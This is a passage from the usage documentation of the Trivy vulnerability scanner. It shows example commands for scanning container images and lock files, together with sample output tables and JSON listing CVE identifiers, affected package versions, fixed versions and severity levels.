CVE-2019-3860 | | | | l ibssh2: Out-of-bounds reads |\n | | | | | | with specially crafted SFTP |\n | | | | | | packets |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3857 | | | | libssh2: Integer overflow in |\n | | | | | | SSH packet processing channel |\n | | | | | | resulting in out of... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3861 | | | | libssh2: Out-of-bounds reads |\n | | | | | | with specially crafted SSH |\n | | | | | | packets |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3856 | | | | libssh2: Integer overflow in |\n | | | | | | keyboard interactive handling |\n | | | | | | resulting in out of bounds... |\n +---------+------------------+ +-------------------+---------------+----------------------------------+\n | libxml2 | CVE-2018-14567 | | 2.9.7-r0 | 2.9.8-r1 | libxml2: Infinite loop when |\n | | | | | | --with-lzma is used allows for |\n | | | | | | denial of service... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2018-14404 | | | | libxml2: NULL pointer |\n | | | | | | dereference in |\n | | | | | | xpath.c:xmlXPathCompOpEval() |\n | | | | | | can allow attackers to cause |\n | | | | | | a... |\n + +------------------+- ---------+ + +----------------------------------+\n | | CVE-2018-9251 | LOW | | | libxml2: infinite loop in |\n | | | | | | xz_decomp function in xzlib.c |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | openssh | CVE-2019-6109 | MEDIUM | 7.5_p1-r9 | 7.5_p1-r10 | openssh: Missing character |\n | | | | | | encoding in progress display |\n | | | | | | allows for spoofing of scp... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-6111 | | | | openssh: Impro per validation |\n | | | | | | of object names allows |\n | | | | | | malicious server to overwrite |\n | | | | | | files... |\n + +------------------+----------+ + +----------------------------------+\n | | CVE-2018-20685 | LOW | | | openssh: scp client improper |\n | | | | | | directory name validation |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | sqlite | CVE-2018-20346 | MEDIUM | 3.21.0-r1 | 3.25.3-r0 | sqlite: Multiple flaws in |\n | | | | | | sqlite which can be triggered |\n | | | | | | via corrupted internal... |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | tar | CVE-2018-20482 | LOW | 1.29-r1 | 1.31-r0 | tar: Infinite read loop in |\n | | | | | | sparse_dump_region function in |\n | | | | | | sparse.c |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n \n ruby-app/Gemfile.lock\n =====================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +----------------------+------------------+----------+-------------------+----------- ----+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +----------------------+------------------+----------+-------------------+---------------+--------------------------------+\n | rails-html-sanitizer | CVE-2018-3741 | MEDIUM | 1.0.3 | >= 1.0.4 | rubygem-rails-html-sanitizer: |\n | | | | | | non-whitelisted attributes |\n | | | | | | are present in sanitized |\n | | | | | | output when input with |\n | | | | | | specially-crafted... |\n +----------------------+------------------+----------+- ------------------+---------------+--------------------------------+\n \n rust-app/Cargo.lock\n ===================\n Total: 3 (UNKNOWN: 3, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0)\n \n +---------+-------------------+----------+-------------------+---------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+-------------------+----------+-------------------+---------------+--------------------------------+\n | ammonia | RUSTSEC-2019-0001 | UNKNOWN | 1.9.0 | >= 2.1.0 | Uncontrolled recursion leads |\n | | | | | | to abort in HTML serialization |\n +---------+-------------------+ +-------------------+---------------+--------------------------------+\n | openssl | RUSTSEC-2016-0001 | | 0.8.3 | >= 0.9.0 | SSL/TLS MitM vulne rability due |\n | | | | | | to insecure defaults |\n + +-------------------+ + +---------------+--------------------------------+\n | | RUSTSEC-2018-0010 | | | >= 0.10.9 | Use after free in CMS Signing |\n +---------+-------------------+----------+-------------------+---------------+--------------------------------+\n \n php-app/composer.lock\n =====================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +-------------------+------------------+----------+-------------------+---------------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +-------------------+------------------+----------+-------------------+---------------------+--------------------------- -----+\n | guzzlehttp/guzzle | CVE-2016-5385 | MEDIUM | 6.2.0 | 6.2.1, 4.2.4, 5.3.1 | PHP: sets environmental |\n | | | | | | variable based on user |\n | | | | | | supplied Proxy request header |\n +-------------------+------------------+----------+-------------------+---------------------+--------------------------------+\n \n node-app/package-lock.json\n ==========================\n Total: 4 (UNKNOWN: 0, LOW: 0, MEDIUM: 3, HIGH: 1, CRITICAL: 0)\n \n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+---------------- ----------------+\n | jquery | CVE-2019-5428 | MEDIUM | 3.3.9 | >=3.4.0 | Modification of |\n | | | | | | Assumed-Immutable Data (MAID) |\n + +------------------+ + + +--------------------------------+\n | | CVE-2019-11358 | | | | js-jquery: prototype pollution |\n | | | | | | in object's prototype leading |\n | | | | | | to denial of service or... |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | lodash | CVE-2018-16487 | HIGH | 4.17.4 | >=4.17.11 | lodash: Prototype pollution in |\n | | | | | | utilities function |\n + +------------------+----------+ +---------------+ +\n | | CVE-2018-3721 | MEDIUM | | >=4.17.5 | |\n | | | | | | |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n \n python-app/Pipfile.lock\n =======================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +---------+------------------+----------+-------------------+---------------+------------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+------------------------------------+\n | django | CVE-2019-6975 | MEDIUM | 2.0.9 | 2.0.11 | python-django: |\n | | | | | | memory exhaustion in |\n | | | | | | django.utils.numberformat.format() |\n +---------+------------------+----------+-------------------+---------------+------------------------------------+\n\n \n \n** Scan an image file ** \n\n \n \n $ docker save ruby:2.3.0-alpine3.9 -o ruby-2.3.0.tar\n $ trivy --input ruby-2.3.0.tar\n\n \n \nResult \n\n \n \n 2019-05-16T12:45:57.332+0900 INFO Updating vulnerability database...\n 2019-05-16T12:45:59.119+0900 INFO Detecting Debian vulnerabilities...\n \n ruby-2.3.0.tar (debian 8.4)\n ===========================\n Total: 7447 (UNKNOWN: 5, LOW: 326, MEDIUM: 5695, HIGH: 1316, CRITICAL: 105)\n \n +------------------------------+---------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +------------------------------+---------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------+\n | apt | CVE-2019-3462 | CRITICAL | 1.0.9.8.3 | 1.0.9.8.5 | Incorrect sanitation of the |\n | | | | | | 302 redirect field in HTTP |\n | | | | | | transport method of... |\n + +---------------------+----------+ +----------------------------------+-----------------------------------------------------+\n | | CVE-2016-1252 | MEDIUM | | 1.0.9.8.4 | The apt package in Debian |\n | | | | | | jessie before 1.0.9.8.4, in |\n | | | | | | Debian unstable before... |\n + +---------------------+----------+ +----------------------------------+-----------------------------------------------------+\n | | CVE-2011-3374 | LOW | | | |\n +------------------------------+---------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------+\n | bash | CVE-2016-7543 | HIGH | 4.3-11 | 4.3-11+deb8u1 | bash: Specially crafted |\n | | | | | | SHELLOPTS+PS4 variables allows |\n | | | | | | command substitution |\n + +---------------------+ + +----------------------------------+-----------------------------------------------------+\n | | CVE-2019-9924 | | | 4.3-11+deb8u2 | bash: BASH_CMD is writable in |\n | | | | | | restricted bash shells |\n + +---------------------+----------+ +----------------------------------+-----------------------------------------------------+\n | | CVE-2016-0634 | MEDIUM | | 4.3-11+deb8u1 | bash: Arbitrary code execution |\n | | | | | | via malicious hostname |\n + +---------------------+----------+ +----------------------------------+-----------------------------------------------------+\n | | CVE-2016-9401 | LOW | | 4.3-11+deb8u2 | bash: popd controlled free |\n + +---------------------+ + +----------------------------------+--------------------- --------------------------------+\n | | TEMP-0841856-B18BAF | | | | |\n +------------------------------+---------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------\n ...\n\n \n \n** Save the results as JSON ** \n\n \n \n $ trivy -f json -o results.json golang:1.12-alpine\n\n \n \nResult \n\n \n \n 2019-05-16T01:46:31.777+0900 INFO Updating vulnerability database...\n 2019-05-16T01:47:03.007+0900 INFO Detecting Alpine vulnerabilities...\n\n \nJSON \n\n \n \n [\n {\n \"Target\": \"php-app/composer.lock\",\n \"Vulnerabilities\": null\n },\n {\n \"Target\": \"node-app/package-lock.json\",\n \"Vulnerabilities\": [\n {\n \"VulnerabilityID\": \"CVE-2018-16487\",\n \"PkgName\": \"lodash\",\n \"InstalledVersion\": \"4.17.4\",\n \"FixedVersion\": \"\\u003e=4.17.11\",\n \"Title\": \"lodash: Prototype pollution in utilities function\",\n \"Description\": \"A prototype pollution vulnerability was found in lodash \\u003c4.17.11 where the functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of Object.prototype.\",\n \"Severity\": \"HIGH\",\n \"References\": [\n \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16487\",\n ]\n }\n ]\n },\n {\n \"Target\": \"trivy-ci-test (alpine 3.7.1)\",\n \"Vulnerabilities\": [\n {\n \"VulnerabilityID\": \"CVE-2018-1 6840\",\n \"PkgName\": \"curl\",\n \"InstalledVersion\": \"7.61.0-r0\",\n \"FixedVersion\": \"7.61.1-r1\",\n \"Title\": \"curl: Use-after-free when closing \\\"easy\\\" handle in Curl_close()\",\n \"Description\": \"A heap use-after-free flaw was found in curl versions from 7.59.0 through 7.61.1 in the code related to closing an easy handle. \",\n \"Severity\": \"HIGH\",\n \"References\": [\n \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16840\",\n ]\n },\n {\n \"VulnerabilityID\": \"CVE-2019-3822\",\n \"PkgName\": \"curl\",\n \"InstalledVersion\": \"7.61.0-r0\",\n \"FixedVersion\": \"7.61.1-r2\",\n \"Title\": \"curl: NTLMv2 type-3 header stack buffer overflow\",\n \"Description\": \"libcurl versions from 7.36.0 to before 7.64.0 are vulnerable to a stack-based buffer overflow. \",\n \"Severity\": \"HIGH\",\n \"References\": [\n \"https:/ /curl.haxx.se/docs/CVE-2019-3822.html\",\n \"https://lists.apache.org/thread.html/[email\u00a0protected]%3Cdevnull.infra.apache.org%3E\"\n ]\n },\n {\n \"VulnerabilityID\": \"CVE-2018-16839\",\n \"PkgName\": \"curl\",\n \"InstalledVersion\": \"7.61.0-r0\",\n \"FixedVersion\": \"7.61.1-r1\",\n \"Title\": \"curl: Integer overflow leading to heap-based buffer overflow in Curl_sasl_create_plain_message()\",\n \"Description\": \"Curl versions 7.33.0 through 7.61.1 are vulnerable to a buffer overrun in the SASL authentication code that may lead to denial of service.\",\n \"Severity\": \"HIGH\",\n \"References\": [\n \"https://github.com/curl/curl/commit/f3a24d7916b9173c69a3e0ee790102993833d6c5\",\n ]\n },\n {\n \"VulnerabilityID\": \"CVE-2018-19486\",\n \"PkgName\": \"git\",\n \"InstalledVersion\": \"2.15.2-r0\",\n \"FixedVersion\": \"2.15.3-r0\",\n \"Title\": \"git: Improper handling of PATH allows for commands to be executed from the current directory\",\n \"Description\": \"Git before 2.19.2 on Linux and UNIX executes commands from the current working directory (as if '.' were at the end of $PATH) in certain cases involving the run_command() API and run-command.c, because there was a dangerous change from execvp to execv during 2017.\",\n \"Severity\": \"HIGH\",\n \"References\": [\n \"https://usn.ubuntu.com/3829-1/\",\n ]\n },\n {\n \"VulnerabilityID\": \"CVE-2018-17456\",\n \"PkgName\": \"git\",\n \"InstalledVersion\": \"2.15.2-r0\",\n \"FixedVersion\": \"2.15.3-r0\",\n \"Title\": \"git: arbitrary code execution via .gitmodules\",\n \"Description\": \"Git before 2.14.5, 2.15.x before 2.15.3, 2.16.x before 2.16.5, 2.17.x before 2.17.2, 2.18.x before 2.18.1, and 2.19.x before 2.19.1 allows [remote code execution](<https://www.kitploit.com/search/label/Remote%20Code%20Execution> \"remote code execution\" ) during processing of a recursive \\\"git clone\\\" of a superproject if a .gitmodules file has a URL field beginning with a '-' character.\",\n \"Severity\": \"HIGH\",\n \"References\": [\n \"http://www.securitytracker.com/id/1041811\",\n ]\n }\n ]\n },\n {\n \"Target\": \"python-app/Pipfile.lock\",\n \"Vulnerabilities\": null\n },\n {\n \"Target\": \"ruby-app/Gemfile.lock\",\n \"Vulnerabilities\": null\n },\n {\n \"Target\": \"rust-app/Cargo.lock\",\n \"Vulnerabilities\": null\n }\n ]\n\n \n \n** Filter the vulnerabilities by severities ** \n\n \n \n $ trivy --severity HIGH,CRITICAL ruby:2.3.0\n\n \n \nResult \n\n \n \n 2019-05-16T01:51:46.255+0900 INFO Updating vulnerability database...\n 2019-05-16T01:51:49.213+0900 INFO Detecting Debian vulnerabilities...\n \n ruby:2.3.0 (debian 8.4)\n =======================\n Total: 1785 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 1680, CRITICAL: 105)\n \n +-----------------------------+------------------+----------+---------------------------+----------------------------------+-------------------------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +-----------------------------+------------------+----------+---------------------------+----------------------------------+-------------------------------------------------+\n | apt | CVE-2019-3462 | CRITICAL | 1.0.9.8.3 | 1.0.9.8.5 | Incorrect sanitation of t he |\n | | | | | | 302 redirect field in HTTP |\n | | | | | | transport method of... |\n +-----------------------------+------------------+----------+---------------------------+----------------------------------+-------------------------------------------------+\n | bash | CVE-2019-9924 | HIGH | 4.3-11 | 4.3-11+deb8u2 | bash: BASH_CMD is writable in |\n | | | | | | restricted bash shells |\n + +------------------+ + +----------------------------------+-------------------------------------------------+\n | | CVE-2016-7543 | | | 4.3-11+deb8u1 | bash: Specially crafted |\n | | | | | | SHELLOPTS+PS4 variables allows |\n | | | | | | command substitution |\n +-----------------------------+------------------+ +---------------------------+----------------------------------+-------------------------------------------------+\n | binutils | CVE-2017-8421 | | 2.25-5 | | binutils: Memory exhaustion in |< br/>| | | | | | objdump via a crafted PE file |\n + +------------------+ + +----------------------------------+-------------------------------------------------+\n | | CVE-2017-14930 | | | | binutils: Memory leak in |\n | | | | | | decode_line_info |\n + +------------------+ + +----------------------------------+-------------------------------------------------+\n | | CVE-2017-7614 | | | | binutils: NULL |\n | | | | | | pointer dereference in |\n | | | | | | bfd_elf_final_link function |\n + +------------------+ + +----------------------------------+-------------------------------------------------+\n | | CVE-2014-9939 | | | | binutils: buffer overflow in |\n | | | | | | ihex.c |\n + +------------------+ + +----------------------------------+-------------------------------------------------+\n | | CVE-2017-13716 | | | | binutils: Memory leak with the |\n | | | | | | C++ symbol demangler routine |\n | | | | | | in libiberty |\n + +------------------+ + +----------------------------------+-------------------------------------------------+\n | | CVE-2018-12699 | | | | binutils: heap-based buffer |\n | | | | | | overflow in finish_stab in |\n | | | | | | stabs.c |\n +-----------------------------+------------------+ +---------------------------+----------------------------------+-------------------------------------------------+\n | bsdutils | CVE-2015-5224 | | 2.25.2-6 | | util-linux: File name |\n | | | | | | collision due to incorrect |\n | | | | | | mkstemp use |\n + +------------------+ + +----------------------------------+-------------------------------------------------+\n | | CVE-2016-2779 | | | | util-linux: runuser tty hijack |\n | | | | | | via TIOCSTI ioctl |\n +-----------------------------+------------------+----------+---------------------------+----------------------------------+-------------------------------------------------+\n\n \n \n** Filter the vulnerabilities by type ** \n\n \n \n $ trivy --vuln-type os ruby:2.3.0\n\nAvailable values: \n\n\n * library \n * os \n \nResult \n\n \n \n 2019-05-22T19:36:50.530+0200 [34mINFO[0m Updating vulnerability database...\n 2019-05-22T19:36:51.681+0200 [34mINFO[0m Detecting Alpine vulnerabilities...\n 2019-05-22T19:36:51.685+0200 [34mINFO[0m Updating npm Security DB...\n 2019-05-22T19:36:52.389+0200 [34mINFO[0m Detecting npm vulnerabilities...\n 2019-05-22T19:36:52.390+0200 [34mINFO[0m Updating pipenv Security DB...\n 2019-05-22T19:36:53.406+0200 [34mINFO[0m Detecting pipenv vulnerabilities...\n \n ruby:2.3.0 (debian 8.4)\n Total: 4751 (UNKNOWN: 1, LOW: 150, MEDIUM: 3504, HIGH: 1013, CRITICAL: 83)\n \n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------- -----+----------------------------------+\n | curl | CVE-2018-14618 | CRITICAL | 7.61.0-r0 | 7.61.1-r0 | curl: NTLM password overflow |\n | | | | | | via integer overflow |\n + +------------------+----------+ +---------------+----------------------------------+\n | | CVE-2018-16839 | HIGH | | 7.61.1-r1 | curl: Integer overflow leading |\n | | | | | | to heap-based buffer overflow in |\n | | | | | | Curl_sasl_create_plain_message() |\n + +------------------+ + +---------------+----------------------------------+\n | | CVE-2019-3822 | | | 7.61.1-r2 | curl: NTLMv2 type-3 header |\n | | | | | | stack buffer overflow |\n + +------------------+ + +---------------+----------------------------------+\n | | CVE-2018-16840 | | | 7.61.1-r1 | curl: Use-after-free when |\n | | | | | | closing \"easy\" handle in |\n | | | | | | Curl_close() |\n + +------------------+----------+ +---------------+----------------------------------+\n | | CVE-2019-3823 | MEDIUM | | 7.61.1-r2 | curl: SMTP end-of-response |\n | | | | | | out-of-bounds read |\n + +------------------+ + + +----------------------------------+\n | | CVE-2018-16890 | | | | curl: NTLM type-2 heap |\n | | | | | | out-of-bounds buffer read |\n + +------------------+ + +---------------+----------------------------------+\n | | CVE-2018-16842 | | | 7.61.1-r1 | curl: Heap-based buffer |\n | | | | | | over-read in the curl tool |\n | | | | | | warning formatting |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | git | CVE-2018-17456 | HIGH | 2.15.2-r0 | 2.15.3-r0 | git: arbitrary code execution |\n | | | | | | via .gitmodules |\n + +------------------+ + + +----------------------------------+\n | | CVE-2018-19486 | | | | git: Improper handling of |\n | | | | | | PATH allows for commands to be |\n | | | | | | executed from... |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | libssh2 | CVE-2019-3855 | CRITICAL | 1.8.0-r2 | 1.8.1-r0 | libssh2: Integer overflow in |\n | | | | | | transport read resulting in |\n | | | | | | out of bounds write... |\n + +------------------+----------+ + +----------------------------------+\n | | CVE-2019-3861 | MEDIUM | | | libssh2: Out-of-bounds reads |\n | | | | | | with specially crafted SSH |\n | | | | | | packets |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3857 | | | | libssh2: Integer overflow in |\n | | | | | | SSH packet processing channel |\n | | | | | | resulting in out of... |\n + +-------------- ----+ + + +----------------------------------+\n | | CVE-2019-3856 | | | | libssh2: Integer overflow in |\n | | | | | | keyboard interactive handling |\n | | | | | | resulting in out of bounds... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3863 | | | | libssh2: Integer overflow |\n | | | | | | in user authenticate |\n | | | | | | keyboard interactive allows |\n | | | | | | out-of-b ounds writes |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3862 | | | | libssh2: Out-of-bounds memory |\n | | | | | | comparison with specially |\n | | | | | | crafted message channel |\n | | | | | | request |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3860 | | | | libssh2: Out-of-bounds reads |\n | | | | | | with specially crafted SFTP |\n | | | | | | packets |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3858 | | | | libssh2: Zero-byte allocation |\n | | | | | | with a specially crafted SFTP |\n | | | | | | packed leading to an... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-3859 | | | | libssh2: Unchecked use of |\n | | | | | | _libssh2_packet_require and |\n | | | | | | _libssh2_pack et_requirev |\n | | | | | | resulting in out-of-bounds |\n | | | | | | read |\n +---------+------------------+ +-------------------+---------------+----------------------------------+\n | libxml2 | CVE-2018-14404 | | 2.9.7-r0 | 2.9.8-r1 | libxml2: NULL pointer |\n | | | | | | dereference in |\n | | | | | | xpath.c:xmlXPathCompOpEval() |\n | | | | | | can allow attackers to cause |\n | | | | | | a... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2018-14567 | | | | libxml2: Infinite loop when |\n | | | | | | --with-lzma is used allows for |\n | | | | | | denial of service... |\n + +------------------+----------+ + +----------------------------------+\n | | CVE-2018-9251 | LOW | | | libxml2: infinite loop in |\n | | | | | | xz_decomp function in xzlib.c |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | openssh | CVE-2019-6109 | MEDIUM | 7.5_p1-r9 | 7.5_p1-r10 | openssh: Missing c haracter |\n | | | | | | encoding in progress display |\n | | | | | | allows for spoofing of scp... |\n + +------------------+ + + +----------------------------------+\n | | CVE-2019-6111 | | | | openssh: Improper validation |\n | | | | | | of object names allows |\n | | | | | | malicious server to overwrite |\n | | | | | | files... |\n + +------------------+----------+ + +----------------------------------+\n | | CVE-2018-20685 | LOW | | | openssh: scp client improper |\n | | | | | | directory name validation |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | sqlite | CVE-2018-20346 | MEDIUM | 3.21.0-r1 | 3.25.3-r0 | CVE-2018-20505 CVE-2018-20506 |\n | | | | | | sqlite: Multiple flaws in |\n | | | | | | sqlite which can be triggered |\n | | | | | | via... |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n | tar | CVE-2018-20482 | LOW | 1.29-r1 | 1.31-r0 | tar: Infinite read loop in |\n | | | | | | sparse_dump_region function in |\n | | | | | | sparse.c |\n +---------+------------------+----------+-------------------+---------------+----------------------------------+\n\n \n** Skip update of vulnerability DB ** \n` Trivy ` always updates its vulnerability database when it starts operating. This is usually fast, as it is a difference update. But if you want to skip even that, use the ` --skip-update ` option. \n\n \n \n $ trivy --skip-update python:3.4-alpine3.9\n\n \n \nResult \n\n \n \n 2019-05-16T12:48:08.703+0900 INFO Detecting Alpine vulnerabilities...\n \n python:3.4-alpine3.9 (alpine 3.9.2)\n ===================================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | openssl | CVE-2019-1543 | MEDIUM | 1.1.1a-r1 | 1.1.1b-r1 | openssl: ChaCha20-Poly1305 |\n | | | | | | with long nonces |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n\n \n \n** Update only specified distributions ** \nBy default, ` Trivy ` always updates its vulnerability database for all distributions. Use the ` --only-update ` option if you want to name specified distributions to update. \n\n \n \n $ trivy --only-update alpine,debian python:3.4-alpine3.9\n $ trivy --only-update alpine python:3.4-alpine3.9\n\n \n \nResult \n\n \n \n 2019-05-21T19:37:06.301+0900 INFO Updating vulnerability database...\n 2019-05-21T19:37:07.793+0900 INFO Updating alpine data...\n 2019-05-21T19:37:08.127+0900 INFO Detecting Alpine vulnerabilities...\n \n python:3.4-alpine3.9 (alpine 3.9.2)\n ===================================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | openssl | CVE-2019-1543 | MEDIUM | 1.1.1a-r1 | 1.1.1b-r1 | openssl: ChaCha20-Poly1305 |\n | | | | | | with long nonces |\n +---------+----------------- -+----------+-------------------+---------------+--------------------------------+\n\n \n \n** Ignore unfixed vulnerabilities ** \nBy default, ` Trivy ` also detects unpatched/unfixed vulnerabilities. This means you can't fix these vulnerabilities even if you update all packages. If you would like to ignore them, use the ` --ignore-unfixed ` option. \n\n \n \n $ trivy --ignore-unfixed ruby:2.3.0\n\n \n \nResult \n\n \n \n 2019-05-16T12:49:52.656+0900 INFO Updating vulnerability database...\n 2019-05-16T12:50:14.786+0900 INFO Detecting Debian vulnerabilities...\n \n ruby:2.3.0 (debian 8.4)\n =======================\n Total: 4730 (UNKNOWN: 1, LOW: 145, MEDIUM: 3487, HIGH: 1014, CRITICAL: 83)\n \n +------------------------------+------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +------------------------------+------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------+\n | apt | CVE-2019-3462 | CRITICAL | 1.0.9.8.3 | 1.0.9.8.5 | I ncorrect sanitation of the |\n | | | | | | 302 redirect field in HTTP |\n | | | | | | transport method of... |\n + +------------------+----------+ +----------------------------------+-----------------------------------------------------+\n | | CVE-2016-1252 | MEDIUM | | 1.0.9.8.4 | The apt package in Debian |\n | | | | | | jessie before 1.0.9.8.4, in |\n | | | | | | Debian unstable before... |\n +------------------------------+------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------+\n | bash | CVE-2019-9924 | HIGH | 4.3-11 | 4.3-11+deb8u2 | bash: BASH_CMD is writable in |\n | | | | | | restricted bash shells |\n + +------------------+ + +----------------------------------+-----------------------------------------------------+\n | | CVE-2016-7543 | | | 4.3-11+deb8u1 | bash: Specially crafted |\n | | | | | | SHELLOPTS+PS4 variables allows |\n | | | | | | command substitution |\n + +------------------+----------+ + +-----------------------------------------------------+\n | | CVE-2016-0634 | MEDIUM | | | bash: Arbitrary code execution |\n | | | | | | via malicious hostname |\n + +------------------+----------+ +----------------------------------+-----------------------------------------------------+\n | | CVE-2016-9401 | LOW | | 4.3-11+deb8u2 | bash: popd controlled free |\n +------------------------------+------------------+----------+----------------------------+----------------------------------+-----------------------------------------------------+\n ...\n\n \n \n** Specify exit code ** \nBy default, ` Trivy ` exits with code 0 even when vulnerabilities are detected. Use the ` --exit-code ` option if you want to exit with a non-zero exit code. \n\n \n \n $ trivy --exit-code 1 python:3.4-alpine3.9\n\n \n \nResult \n\n \n \n 2019-05-16T12:51:43.500+0900 INFO Updating vulnerability database...\n 2019-05-16T12:52:00.387+0900 INFO Detecting Alpine vulnerabilities...\n \n python:3.4-alpine3.9 (alpine 3.9.2)\n ===================================\n Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)\n \n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +---------+------------------+----------+-------------------+---------------+--------------------------------+\n | openssl | CVE-2019-1543 | MEDIUM | 1.1.1a-r1 | 1.1.1b-r1 | openssl: ChaCha20-Poly1305 |\n | | | | | | with long nonces |\n +---------+------------------+----------+-------------------+---------------+------------------- -------------+\n\n \n \nThis option is useful for CI/CD. In the following example, the test will fail only when a critical vulnerability is found. \n\n \n \n $ trivy --exit-code 0 --severity MEDIUM,HIGH ruby:2.3.0\n $ trivy --exit-code 1 --severity CRITICAL ruby:2.3.0\n\n \n** Ignore the specified vulnerabilities ** \nUse ` .trivyignore ` . \n\n \n \n $ cat .trivyignore\n # Accept the risk\n CVE-2018-14618\n \n # No impact in our settings\n CVE-2019-1543\n \n $ trivy python:3.4-alpine3.9\n\n \n \nResult \n\n \n \n 2019-05-16T12:53:10.076+0900 INFO Updating vulnerability database...\n 2019-05-16T12:53:28.134+0900 INFO Detecting Alpine vulnerabilities...\n \n python:3.4-alpine3.9 (alpine 3.9.2)\n ===================================\n Total: 0 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0)\n \n\n \n \n** Specify cache directory ** \n\n \n \n $ trivy --cache-dir /tmp/trivy/ python:3.4-alpine3.9\n\n \n** Clear image caches ** \nThe ` --clear-cache ` option removes image caches. This option is useful if the image which has the same tag is updated (such as when using ` latest ` tag). \n\n \n \n $ trivy --clear-cache python:3.7\n\n \n \nResult \n\n \n \n 2019-05-16T12:55:24.749+0900 INFO Removing image caches...\n 2019-05-16T12:55:24.769+0900 INFO Updating vulnerability database...\n 2019-05-16T12:56:14.055+0900 INFO Detecting Debian vulnerabilities...\n \n python:3.7 (debian 9.9)\n =======================\n Total: 3076 (UNKNOWN: 0, LOW: 127, MEDIUM: 2358, HIGH: 578, CRITICAL: 13)\n \n +------------------------------+---------------------+----------+--------------------------+------------------+-------------------------------------------------------+\n | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |\n +------------------------------+---------------------+----------+--------------------------+------------------+-------------------------------------------------------+\n | apt | CVE-2011-3374 | LOW | 1.4.9 | | |\n +------------------------------+---------------------+ +--------------------------+------------------+-------------------------------------------------------+\n | bash | TEMP-0841856-B18BAF | | 4.4-5 | | |\n +------------------------------+---------------------+----------+--------------------------+------------------+-------------------------------------------------------+\n ...\n\n \n \n** Reset ** \nThe ` --reset ` option removes all caches and database. After this, it takes a long time as the vulnerability database needs to be rebuilt locally. \n\n \n \n $ trivy --reset\n\n \n \nResult \n\n \n \n 2019-05-16T13:05:31.935+0900 INFO Resetting...\n\n \n \n** Continuous Integration (CI) ** \nScan your image built in Travis CI/CircleCI. The test will fail if a vulnerability is found. When you don't 